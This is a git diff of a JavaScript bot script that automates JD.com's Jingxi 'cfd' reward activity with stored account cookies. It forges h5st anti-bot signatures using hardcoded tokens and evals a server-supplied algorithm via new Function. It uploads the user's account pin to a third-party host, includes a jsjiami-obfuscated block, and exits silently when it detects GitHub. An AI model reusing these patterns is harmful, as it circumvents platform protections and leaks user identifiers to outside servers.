* a)); - return n -} - -function showMsg() { - return new Promise(async (resolve) => { - if ($.result.length) { - if ($.notifyTime) { - const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); - const now = $.time("HH:mm").split(":"); - console.log(`\n${JSON.stringify(notifyTimes)}`); - console.log(`\n${JSON.stringify(now)}`); - if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + + function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n + } + + function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { $.msg($.name, "", `${$.result.join("\n")}`); } - } else { - $.msg($.name, "", `${$.result.join("\n")}`); + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); } - - if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); - } - resolve(); - }); -} - -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `https://transfer.nz.lu/cfd`, timeout: 30 * 1000}, (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); + resolve(); + }); + } + + function readShareCode() { + return new Promise(async resolve => { + $.get({url: ``, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + //console.log(JSON.stringify(err)) + //console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } + }) + await $.wait(30 * 1000); + resolve() }) - await $.wait(30 * 1000); - resolve() - }) -} -function uploadShareCode(code) { - return new Promise(async resolve => { - $.post({url: `https://transfer.nz.lu/upload/cfd?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) - } else { - if (data) { - if (data === 'OK') { - console.log(`已自动提交助力码\n`) - } else if (data === 'error') { - console.log(`助力码格式错误,乱玩API是要被打屁屁的~\n`) - } else if (data === 'full') { - console.log(`车位已满,请等待下一班次\n`) - } else if (data === 'exist') { - console.log(`助力码已经提交过了~\n`) - } else if (data === 'not in whitelist') { - console.log(`提交助力码失败,此用户不在白名单中\n`) - } else { - console.log(`未知错误:${data}\n`) + } + function uploadShareCode(code) { + return new Promise(async resolve => { + $.post({url: `https://transfer.nz.lu/upload/cfd?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码\n`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~\n`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次\n`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~\n`) + } else if (data === 'not in whitelist') { + console.log(`提交助力码失败,此用户不在白名单中\n`) + } else { + console.log(`未知错误:${data}\n`) + } } } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); + }) + await $.wait(30 * 1000); + resolve() + }) + } + //格式化助力码 + function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 2000) { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; } + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); }) - await $.wait(30 * 1000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - $.newShareCodes = [] - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; - } else { - $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; - } - console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function TotalBean() { - return new Promise(resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie + } + + function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) } else { - console.log('京东服务器返回空数据'); + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() } + }) + }) + } + function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); } catch (e) { - $.logErr(e, resp) - } finally { - resolve() + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; } } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + /* + 修改时间戳转换函数,京喜工厂原版修改 + */ + Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } } + return d; } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + + async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + //console.log(`fp: ${$.fingerprint}`) + //console.log(`token: ${$.token}`) + //console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') + console.log(`京东服务器返回空数据`) } - } else { - console.log(`京东服务器返回空数据`) } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } + }) }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } + function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); + + /** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ + function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } } + return '' } - return '' } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 